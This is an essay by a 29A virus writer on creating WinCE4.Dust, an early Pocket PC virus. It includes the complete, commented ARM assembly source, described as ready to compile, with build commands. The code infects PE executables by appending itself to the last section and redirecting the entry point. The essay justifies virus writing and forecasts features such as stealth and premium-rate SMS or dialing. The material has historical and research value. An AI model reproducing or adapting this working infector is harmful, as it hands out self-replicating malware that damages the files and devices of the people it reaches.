Dr. Strangelove or: How I Started to like the Pocket PC Virus Idea -- Introduction -- On the 16th of July 2004 round about ten o'clock pm after the day spent with finishing writing my new virus I've sent that to leading antivirus firms for analysis. Within few hours I've received first emails and finished analyses. The day after the AV firms began to release their PR information and that was a start of media hype that in essence lasts until now. Sometimes information was more exact sometimes less but it could be said that it is true that the more we are distanced from the original source (in this case AV firms) the more is the information misinterpreted and confused. That was one of the main reasons why I've decided to accept the airscanner.com offer to write a little story about "why" and mainly "how". -- Why -- What did lead me to the idea of writing a Pocket PC virus? What is 29A? Is virus writing legal or at least justifiable? In this part I'll try to answer these questions even though it may concern my subjective ideas that don't have to fully overlap the generally accepted. [Me and viruses] The computer viruses accompany me since my first serious programming attempts that time on MS-DOS yet. I've always wanted to know how things work inside - mainly how the operating system works. Therefore when I've got the computer virus book that was a starting point for all three members of 29A [1] it was like a miracle to me. There were explained procedures of advanced DOS viruses that digged around the whole operating system. Thanks to viruses I've learned everything I know about the MS-DOS. Later when I started to examine the Win32 platform it was a logical result to write a virus that would implement my new gained knowledge. Therefore all my codes indicate the technology I'm playing with or studying. In my opinion there's nothing that system like computer virus (apart from the operating system itself). What else should I use to try out things? For me the self-replicating code has only one purpose: I test my new knowledge. Similar joy I've only found in writing the NT rootkit [2] and of course in the art of reverse engineering. [Me and 29A] 29A is a international group of people that are connected with the interest in computer security especially self replicating code. For a lot of people we represent criminals who only want to destroy. Under the head of 29A several technically capable people release if not interesting then "different than mainstream production" viruses. You won't meet most of our codes In the Wild - not because we wouldn't be able to write a virus that would spread around the world. Every at least a little capable programmer is able to do it today. The purpose is totally different. We don't want to destroy data nor waste institutions time or con they out of their money (even though putting figure on the damage caused by a lot of worms is more than arguable). We just want to show that It hasn't changed much since the DOS time. Computer system are still easily attackable and vendors are still not enlightened. Maybe they are comfortable with this state (together with AV firms) but that is just a speculation. Our viruses are very often on the purpose made in a way that without altering their inner structure their spreading would be impossible. They are for example limited to infect one file per run or they ask the user before even trying to reproduce. I often hear an opinion that even with releasing source codes of our viruses and worms implementing new ideas and techniques (29A stands for example behind first macro virus, first really Win32 virus, we worked out polymorfism and metamorfism, from the last time eg the first Win64 virus and worm for Symbian OS that was able to spread via bluetooth connection) in our magazine we destroy because these techniques are then used in In the Wild worms. If I'll admit this opinion then I also say that people who seek exploitable bugs in software and who release proof-of-concept exploits on these are the same criminals as we are. Behind almost all mass spreading worms stands bug in the software that was at first discovered then described and later exploited (if I omit worms that use social engineering methods). Why aren't these people considered as criminals? The answer is clear: security through obscurity was overcome a long time ago and that's why 29A and most of the serious virus writing programmers release their codes in magazines. But first of course we let AV firms know so they can adapt and prepair new cures. Because - if few people that have virus writing as a hobby are able to attack almost every main platform what would paied professionals be able to do? [Me and Microsoft] A lot of people think that I create viruses because I hate Microsoft or what it symbolizes. But that is a big misunderstanding. This firm's products I use for plenty of years now and I'm satisfied. When I had bought my new desktop PC I had paied extra money for Windows XP without hesitation and thus when I've decided to buy a pda I chose according to its operating system. The one who sometimes saw Microsoft Research will undertand when I say that Microsoft employs the world leading experts and those cannot a priori do a bad job. Nevertheless even though inner design of this firms products is flawless the implementations mostly aren't. There's no difference with Windows CE. [Putting it together] Immediately after I've played with my new toy for the first time I realised that I want to learn to create programs for it. And because I like programming on a very low level I first had to learn ARM assembly language because heart of my PDA was Intel XSCALE processor (that implements ARM ISA). There had to be a few months delay - be it becuse of school or other non-vx related codings. After the end of summer term holidays came up. Enough freetime is basic prerequisite to make new programs and that's why I decided to start with the Pocket PC project. On the Net I've found several ARM assembly guides and official ARM documentation and in few days I could say I was prepared for coding in it. The only programs that are written completely in assembly language these times are computer viruses so I let one arise ... -- How -- In this part I'll try to explain how I proceeded while creating Dust, which techniques and utilities I used. There will appear the whole commented ready to compile and test source code too. In the end I'll cover which problems I faced when moving from Win32 to WinCE and I'll also present my ideas about future Pocket PC viruses features. [Prerequisites] For complete source code understanding it is essential to know at least basics of ARM ISA which are covered in [3]. In the end of that document there can be also found advanced ARM topics. Further also basic knowledge of portable executable format will help. This can be gained here [4]. Utilities that are needed to convert source code to it's executable form can be downloaded from [5]. [Compilation] First we'll cut everything between labels ** virus_source ** and ** virus_source_end ** and paste it to a new file called wince_dust.asm. For compiling we'll use armasm (Microsoft macro assembler for ARM) and WinCE aware version of Microsoft link. Both these utilities can be found in [5] and we'll use them in following way: armasm wince_dust.asm link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE wince_dust.obj After these steps executable file wince_dust.exe is created which can be transferred to PDA and tested - the virus infects all suitable PE exe files in the root directory (My device) of the device. Before the infection itself it asks for permission. [Used techniques] While programming WinCE4.Dust I used time-tested techniques from Win32 world. When infecting the PE file is altered in the following way. The last section size is increased by virus code size and virus body is copied at the end of last section. Then the new EntryPoint is set ie the pointer to first instruction to execute when the program is loaded. This way it is guaranteed that the virus gets run. Because Dust doesn't use host's import section it has to somehow obtain needed API function addresses. This was the biggest problem and finding out the solution took a some time. As soon we have function addresses we use them to alter the victims files found on memory medium. Finding files to infect provides the standard function pair FindFirstFile/FindNextFile. Together with CreateFile they differ from their Win32 counterparts which appeared to be another minor problem. Every file gets mapped into memory where later needed modifications are made. Windows CE introduce new function CreateFileForMapping that has no equivalent on Win32 and without calling this function there is no way to get file handle that could be used to create mapping object. On the other hand advantage of the ARM ISA appeared - the automatic generation of position independent code. On Win32@x86 one had to determine it's actual memory position and using this value later modify absolute variable addresses (of course if host's relocations were not altered). The virus source code that includes deeper comments of given problems and techniques follows. ** virus_source ** CODE32 EXPORT WinMainCRTStartup AREA .text, CODE, ARM virus_start ; r11 - base pointer virus_code_start PROC stmdb sp!, {r0 - r12, lr, pc} mov r11, sp sub sp, sp, #56 ; make space on the stack ; our stack space gets filled the following way ; #-56 - udiv ; #-52 - malloc ; #-48 - free ; [r11, #-44] - CreateFileForMappingW ; #-40 - CloseHandle ; #-36 - CreateFileMappingW ; #-32 - MapViewOfFile ; #-28 - UnmapViewOfFile ; #-24 - FindFirstFileW ; #-20 - FindNextFileW ; #-16 - FindClose ; #-12 - MessageBoxW ; #- 8 - filehandle ; #- 4 - mapping handle bl get_export_section ; we'll import via ordinals not function names, because it's ; safe - even linker does that adr r2, import_ordinals mov r3, sp bl lookup_imports ; bl ask_user beq jmp_to_host ; are we allowed to spread? ; mov r0, #0x23, 28 mov lr, pc ldr pc, [r11, #-52] ; allocate WFD mov r4, r0 cmp r0, #0 beq jmp_to_host ; in the following code I use functions FindFirstFile/FindNextFile ; for finding *.exe files in the current directory. But in this ; case I made a big mistake. I didn't realize that WinCE aren't ; aware of current directory and it is thus needed to use absolute ; pathnames. That's why this code won't find files in current ; directory but always in root directory. I found this out when I ; was performing final tests but because the aim was to create a ; proof-of-concept code and because the infection itself was already ; limited with user's permission I decided not to correct this ; bug adr r0, mask mov r1, r4 mov lr, pc ldr pc, [r11, #-24] ; find first file cmn r0, #1 beq free_wfd mov r5, r0 find_files_iterate ldr r0, [r4, #28] ; filesize high ldr r1, [r4, #32] ; filesize low cmp r0, #0 ; file too big? bne find_next_file cmp r1, #0x1000 ; file smaller than 4096 bytes? addgt r0, r4, #40 ; gimme file name blgt infect_file find_next_file mov r0, r5 mov r1, r4 mov lr, pc ldr pc, [r11, #-20] ; find next file cmp r0, #0 ; is there any left? bne find_files_iterate mov r0, r5 mov lr, pc ldr pc, [r11, #-16] free_wfd mov r0, r4 mov lr, pc ldr pc, [r11, #-48] ; free WFD ; jmp_to_host adr r0, host_ep ldr r1, [r0] ; get host_entry ldr r2, [r11, #56] ; get pc add r1, r1, r2 ; add displacement str r1, [r11, #56] ; store it back mov sp, r11 ldmia sp!, {r0 - r12, lr, pc} ENDP ; we're looking for *.exe files mask DCB "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0 ; host entry point displacement ; in first generation let compiler count it host_ep DCD host_entry - virus_code_start - 8 ; WinCE is UNICODE only platform and thus we'll use the W ending ; for api names (there are no ANSI versions of these) import_ordinals DCW 2008 ; udiv DCW 1041 ; malloc DCW 1018 ; free DCW 1167 ; CreateFileForMappingW DCW 553 ; CloseHandle DCW 548 ; CreateFileMappingW DCW 549 ; MapViewOfFile DCW 550 ; UnmapViewOfFile DCW 167 ; FindFirstFileW DCW 181 ; FindNextFile DCW 180 ; FindClose DCW 858 ; MessageBoxW DCD 0x0 ; basic wide string compare wstrcmp PROC wstrcmp_iterate ldrh r2, [r0], #2 ldrh r3, [r1], #2 cmp r2, #0 cmpeq r3, #0 moveq pc, lr cmp r2, r3 beq wstrcmp_iterate mov pc, lr ENDP ; on Win32 platform were almost all important functions located in ; kernel32.dll library (and if weren't, LoadLibrary/GetProcAddresss pair ; was). The first infectors had hardcoded imagebase of this dll and ; later they imported needed functions by hand from it. This ; showed to be incompatible because different Windows versions might ; have different imagebases for kernel32. That's why more or less ; sophisticated methods were found that allowed to code in a ; compatible way. One of these is scanning memory for known values ; located in PE file header ("MZ") if the address inside module is ; given. Because function inside kernel32 calls EntryPoint of ; every Win32 process we've got this address. Then comparing word ; on aligned address (and decrementing it) against known value is ; enough to locate the imagebase. If this routine is even covered ; with SEH everything is safe. ; I wanted to use this method on WinCE too but I hit the wall. ; Probably because of saving memory space there are no headers ; before the first section of loaded module. There's is thus no ; "MZ" value and scanning cannot be used even we have address ; inside coredll.dll (lr registr on our entrypoint). More we ; cannot use SEH neither, because SEH handlers get installed with ; the help of special directory (exception directory) in PE file and ; some data before function start - these informations would have ; to be added while infecting the victim (exception directory ; would have to be altered) which is of course not impossible just ; a little bit impractical to implement in basic virus. ; That's why I was forced to use different approach. I looked ; through the Windows CE 3.0 source codes (shared source, ; downloadable from Microsoft) and tried to find out how the loader ; does that. Loader needs pointer to module's export section and its ; imagebase to be able to import from it. The result was ; KDataStruct at hardcoded address accesible from user mode (why?) ; and mainly it's item aInfo[KINX_MODULES] which is a pointer to ; list of Module structures. There we can find all needed values ; (name of the module, imagebase and export section RVA). In the ; code that follows I go through this one-way list and look for ; structure describing coredll.dll module. From this structure I ; get imagebase and export section RVA. ; what sounds relatively easy was in the end more work than I ; expected. The problem was to get offsets in the Module ; structure. Source codes and corresponding headers I had were for ; Windows CE 3.0 but I was writing for Windows CE 4.2 where the ; structure is different. I worked it out using the following ; sequence: ; I was able to get the imagebase offset using the trial-and-error ; method - I used the debugger and tried values inside the ; structure that looked as valid pointers. If there was something ; interesting I did some memory sniffing to realize where I am. ; The export section pointer was more difficult. There is no real ; pointer but RVA instead. Adding imagebase to RVA gives us the ; pointer. Thatswhy I found coredll.dll in memory - namely the ; list of function names in export section that the library exports. ; This list is just serie of ASCIIZ names (you can see this list ; when opening dll in your favourite hexa editor). At the ; beginning of this list there must be a dll name (in this case ; coredll.dll) to which a RVA in the export section header ; points. Substracting imagebase from the address where the dll ; name starts gave me a RVA of the dll name. I did simple byte ; search for byte sequence that together made this RVA value. This ; showed me where the (Export Directory Table).Name Rva is. ; Because this is a known offset within a known structure (which is ; in the beginning of export section) I was this way able to get ; the export section pointer. I again substracted the imagebase to ; get export section RVA. This value I looked up in the coredll's ; Module structure which finally gave me the export section RVA ; offset. ; this is prolly Pocket PC 2003(+ ?) only ; works on my wince 4.20.0 (build 13252) ; on different versions the structure offsets might be different :-/ ; output: ; r0 - coredll base addr ; r1 - export section addr get_export_section PROC stmdb sp!, {r4 - r9, lr} ldr r4, =0xffffc800 ; KDataStruct ldr r5, =0x324 ; aInfo[KINX_MODULES] add r5, r4, r5 ldr r5, [r5] ; r5 now points to first module mov r6, r5 mov r7, #0 iterate ldr r0, [r6, #8] ; get dll name adr r1, coredll bl wstrcmp ; compare with coredll.dll ldreq r7, [r6, #0x7c] ; get dll base ldreq r8, [r6, #0x8c] ; get export section rva add r9, r7, r8 beq got_coredllbase ; is it what we're looking for? ldr r6, [r6, #4] cmp r6, #0 cmpne r6, r5 bne iterate ; nope, go on got_coredllbase mov r0, r7 add r1, r8, r7 ; yep, we've got imagebase ; and export section pointer ldmia sp!, {r4 - r9, pc} ENDP coredll DCB "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0 DCB ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0 ; r0 - coredll base addr ; r1 - export section addr ; r2 - import ordinals array ; r3 - where to store function adrs lookup_imports PROC stmdb sp!, {r4 - r6, lr} ldr r4, [r1, #0x10] ; gimme ordinal base ldr r5, [r1, #0x1c] ; gimme Export Address Table add r5, r5, r0 lookup_imports_iterate ldrh r6, [r2], #2 ; gimme ordinal cmp r6, #0 ; last value? subne r6, r6, r4 ; substract ordinal base ldrne r6, [r5, r6, LSL #2] ; gimme export RVA addne r6, r6, r0 ; add imagebase strne r6, [r3], #4 ; store function address bne lookup_imports_iterate ldmia sp!, {r4 - r6, pc} ENDP ; r0 - filename ; r1 - filesize infect_file PROC stmdb sp!, {r0, r1, r4, r5, lr} mov r4, r1 mov r8, r0 bl open_file ; first open the file for mapping cmn r0, #1 beq infect_file_end str r0, [r11, #-8] ; store the handle mov r0, r4 ; now create the mapping with ; maximum size == filesize bl create_mapping cmp r0, #0 beq infect_file_end_close_file str r0, [r11, #-4] ; store the handle mov r0, r4 bl map_file ; map the whole file cmp r0, #0 beq infect_file_end_close_mapping mov r5, r0 bl check_header ; is it file that we can infect? bne infect_file_end_unmap_view ldr r0, [r2, #0x4c] ; chech the reserved field in ; optional header against ldr r1, =0x72617461 ; rata cmp r0, r1 ; already infected? beq infect_file_end_unmap_view ldr r1, [r2, #0x3c] ; gimme filealignment adr r0, virus_start adr r2, virus_end ; compute virus size sub r0, r2, r0 mov r7, r0 ; r7 now holds virus_size add r0, r0, r4 bl _align_ ; add it to filesize and mov r6, r0 ; align it to filealignment ; r6 holds the new filesize mov r0, r5 mov lr, pc ldr pc, [r11, #-28] ; UnmapViewOfFile ldr r0, [r11, #-4] mov lr, pc ldr pc, [r11, #-40] ; close mapping handle ; mov r0, r8 bl open_file ; reopen the file because via ; closing the mapping handle file ; handle was closed too cmn r0, #1 beq infect_file_end str r0, [r11, #-8] mov r0, r6 ; create mapping again with the bl create_mapping ; new filesize (with virus appended) cmp r0, #0 beq infect_file_end_close_file str r0, [r11, #-4] mov r0, r6 bl map_file ; map it cmp r0, #0 beq infect_file_end_close_mapping mov r5, r0 ; ; r5 - mapping base ; r7 - virus_size ldr r4, [r5, #0x3c] ; get PE signature offset add r4, r4, r5 ; add the base ldrh r1, [r4, #6] ; get NumberOfSections sub r1, r1, #1 ; we want the last section header ; so dec mov r2, #0x28 ; multiply with section header size mul r0, r1, r2 add r0, r0, r4 ; add optional header start to displacement add r0, r0, #0x78 ; add optional header size ldr r1, [r4, #0x74] ; get number of data directories mov r1, r1, LSL #3 ; multiply with sizeof(data_directory) add r0, r0, r1 ; add it because section headers ; start after the optional header ; (including data directories) ldr r6, [r4, #0x28] ; gimme entrypoint rva ldr r1, [r0, #0x10] ; get last section's size of rawdata ldr r2, [r0, #0x14] ; and pointer to rawdata mov r3, r1 add r1, r1, r2 ; compute pointer to the first ; byte avalaible for us in the ; last section ; (pointer to rawdata + sizeof rawdata) mov r9, r1 ; r9 now holds the pointer ldr r8, [r0, #0xc] ; get RVA of section start add r3, r3, r8 ; add sizeof rawdata str r3, [r4, #0x28] ; set entrypoint sub r6, r6, r3 ; now compute the displacement so ; that we can later jump back to the host sub r6, r6, #8 ; sub 8 because pc points to ; fetched instruction (viz LTORG) mov r10, r0 ldr r0, [r10, #0x10] ; get size of raw data again add r0, r0, r7 ; add virus size ldr r1, [r4, #0x3c] bl _align_ ; and align str r0, [r10, #0x10] ; store new size of rawdata str r0, [r10, #0x8] ; store new virtual size ldr r1, [r10, #0xc] ; get virtual address of last section add r0, r0, r1 ; add size so get whole image size str r0, [r4, #0x50] ; and store it ldr r0, =0x60000020 ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE | ; IMAGE_SCN_MEM_READ ldr r1, [r10, #0x24] ; get old section flags orr r0, r1, r0 ; or it with our needed ones str r0, [r10, #0x24] ; store new flags ldr r0, =0x72617461 str r0, [r4, #0x4c] ; store our infection mark add r1, r9, r5 ; now we'll copy virus body mov r9, r1 ; to space prepared in last section adr r0, virus_start mov r2, r7 bl simple_memcpy adr r0, host_ep ; compute number of bytes between ; virus start and host ep adr r1, virus_start sub r0, r0, r1 ; because we'll store new host_ep str r6, [r0, r9] ; in the copied virus body infect_file_end_unmap_view mov r0, r5 mov lr, pc ; unmap the view ldr pc, [r11, #-28] infect_file_end_close_mapping ldr r0, [r11, #-4] mov lr, pc ; close the mapping ldr pc, [r11, #-40] infect_file_end_close_file ldr r0, [r11, #-8] mov lr, pc ; close file handle ldr pc, [r11, #-40] infect_file_end ldmia sp!, {r0, r1, r4, r5, pc} ; and return ENDP ; a little reminiscence of my beloved book - Greg Egan's Permutation City DCB "This code arose from the dust of Permutation City" ALIGN 4 ; this function checks whether the file we want to infect is ; suitable check_header PROC ldrh r0, [r5] ldr r1, =0x5a4d ; MZ? cmp r0, r1 bne infect_file_end_close_mapping ldr r2, [r5, #0x3c] add r2, r2, r5 ldrh r0, [r2] ldr r1, =0x4550 ; Singature == PE? cmp r0, r1 bne check_header_end ldrh r0, [r2, #4] ldr r1, =0x1c0 ; Machine == ARM? cmp r0, r1 bne check_header_end ldrh r0, [r2, #0x5C] ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ? cmp r0, #9 bne check_header_end ldrh r0, [r2, #0x40] cmp r0, #4 ; windows ce 4? check_header_end mov pc, lr ENDP ; r0 - file open_file PROC str lr, [sp, #-4]! sub sp, sp, #0xc mov r1, #3 str r1, [sp] ; OPEN_EXISTING mov r3, #0 mov r2, #0 str r3, [sp, #8] str r3, [sp, #4] mov r1, #3, 2 ; GENERIC_READ | GENERIC_WRITE mov lr, pc ldr pc, [r11, #-44] ; call CreateFileForMappingW to ; get the handle suitable for ; CreateFileMapping API ; (on Win32 calling CreateFile is enough) add sp, sp, #0xc ldr pc, [sp], #4 ENDP ; r0 - max size low create_mapping PROC str lr, [sp, #-4]! mov r1, #0 sub sp, sp, #8 str r0, [sp] str r1, [sp, #4] mov r2, #4 ; PAGE_READWRITE mov r3, #0 ldr r0, [r11, #-8] mov lr, pc ldr pc, [r11, #-36] add sp, sp, #8 ldr pc, [sp], #4 ENDP ; r0 - bytes to map map_file PROC str lr, [sp, #-4]! sub sp, sp, #4 str r0, [sp] ldr r0, [r11, #-4] mov r1, #6 ; FILE_MAP_READ or FILE_MAP_WRITE mov r2, #0 mov r3, #0 mov lr, pc ldr pc, [r11, #-32] add sp, sp, #4 ldr pc, [sp], #4 ENDP ; not optimized (thus simple) mem copy ; r0 - src ; r1 - dst ; r2 - how much simple_memcpy PROC ldr r3, [r0], #4 str r3, [r1], #4 subs r2, r2, #4 bne simple_memcpy mov pc, lr ENDP ; (r1 - (r1 % r0)) + r0 ; r0 - number to align ; r1 - align to what _align_ PROC stmdb sp!, {r4, r5, lr} mov r4, r0 mov r5, r1 mov r0, r1 mov r1, r4 ; ARM ISA doesn't have the div instruction so we'll have to call ; the coredll's div implementation mov lr, pc ldr pc, [r11, #-56] ; udiv sub r1, r5, r1 add r0, r4, r1 ldmia sp!, {r4, r5, pc} ENDP ; this function will ask user (via a MessageBox) whether we're ; allowed to spread or not ask_user PROC str lr, [sp, #-4]! mov r0, #0 adr r1, text adr r2, caption mov r3, #4 mov lr, pc ldr pc, [r11, #-12] cmp r0, #7 ldr pc, [sp], #4 ENDP ; notice that the strings are encoded in UNICODE ; WinCE4.Dust by Ratter/29A caption DCB "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0 DCB ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0 DCB "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0 DCB "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0 DCB "A", 0x0, 0x0, 0x0 ALIGN 4 ; Dear User, am I allowed to spread? text DCB "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0 DCB "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0 DCB "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0 DCB "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0 DCB "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0 DCB "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0 ALIGN 4 ; Just a little greeting to AV firms :-) DCB "This is proof of concept code. Also, i wanted to make avers happy." DCB "The situation when Pocket PC antiviruses detect only EICAR file had" DCB " to end ..." ALIGN 4 ; LTORG is a very important pseudo instruction, which places the ; literal pool "at" the place of its presence. Because ARM ; instruction length is hardcoded to 32 bits, it is not possible in ; one instruction to load whole 32bit range into register (there ; have to be bits to specify the opcode). That's why the literal ; pool was introduced which in fact is just an array of 32bit values ; that are not possible to load. This data structure is later ; accesed with the aid of PC (program counter) register that points ; to current executed instruction + 8 (+ 8 because ARM processors ; implement a 3 phase pipeline: execute, decode, fetch and PC ; points not at instruction being executed but at instruction being ; fetched). An offset is added to PC so that the final pointer ; points to the right value in literal pool. ; pseudo instruction ldr rX, = while compiling gets ; transformed to mov instruction (if the value is in the range of ; valid values) or it allocates place in literal pool and becomes a ; ldr, rX, [pc, #] ; similarly adr and adrl instructions serve to loading addresses ; to register. ; this approach's advantage is that with minimal effort we can get ; position independent code from the compiler which allows our ; code to run wherever in the address space the loader will load us. LTORG virus_end ; the code after virus_end doesn't get copied to victims WinMainCRTStartup PROC b virus_code_start ENDP ; first generation entry point host_entry mvn r0, #0 mov pc, lr END ** virus_source_end ** Summary of differences when moving from Win32 to WinCE (VX point of view) 1. Absence of image headers at the start of loaded image on WinCE 2. Not awareness of current directory on WinCE 3. Need to call CreateFileForMapping on WinCE 4. WinCE is UNICODE only 5. Absence of DIV instruction in ARM ISA 6. Automatical generation of position independent code with armasm [Possible future improvements] Dust reminiscents with it's capabilities basic Win32 viruses from the time of pioneering this platform. In the future we'll for sure meet other Win32 techniques such as EPO, PE File merging, polymorfic prologs, metamorfism. These are beyond the terms of this article so those potentialy interested should have a look at [1] and [6]. Further more specific WinCE techniques such as memory residency and with that connected on the fly infection, stealth, sending SMS and dialing nubmers (on SmartPhones) etc. can be expected. -- Conclusion -- Todays mobile devices are beginning to gain computing power and are becoming cheaper and cheaper too thus allowing more people to buy them. That's why I assume that in following five years we can expect many attacks against phones and pdas. People wear mobile devices with them wherever they go (exactly like I do), they connect to the Net whenever they have opportunity, they read emails and browse the Web. Ideal milieu for various worms, computer viruses and trojan horses. I hope I at least a little contributed (and in the future will contribute) to overall security of these devices for example even by writing a Pocket PC virus and thus correcting several people's information about mobile devices security. Reference: [1] http://29a.host.sk [2] http://www.rootkit.com [3] http://www.airscanner.com/pubs/fogieDC11.pdf [4] http://msdn.microsoft.com/library/en-us/dndebug/html/msdn_peeringpe.asp [5] http://www.microsoft.com/downloads/details.aspx?familyid=9996b314-0364-4623-9ede-0b5fbb133652&displaylang=en [6] http://vx.netlux.org/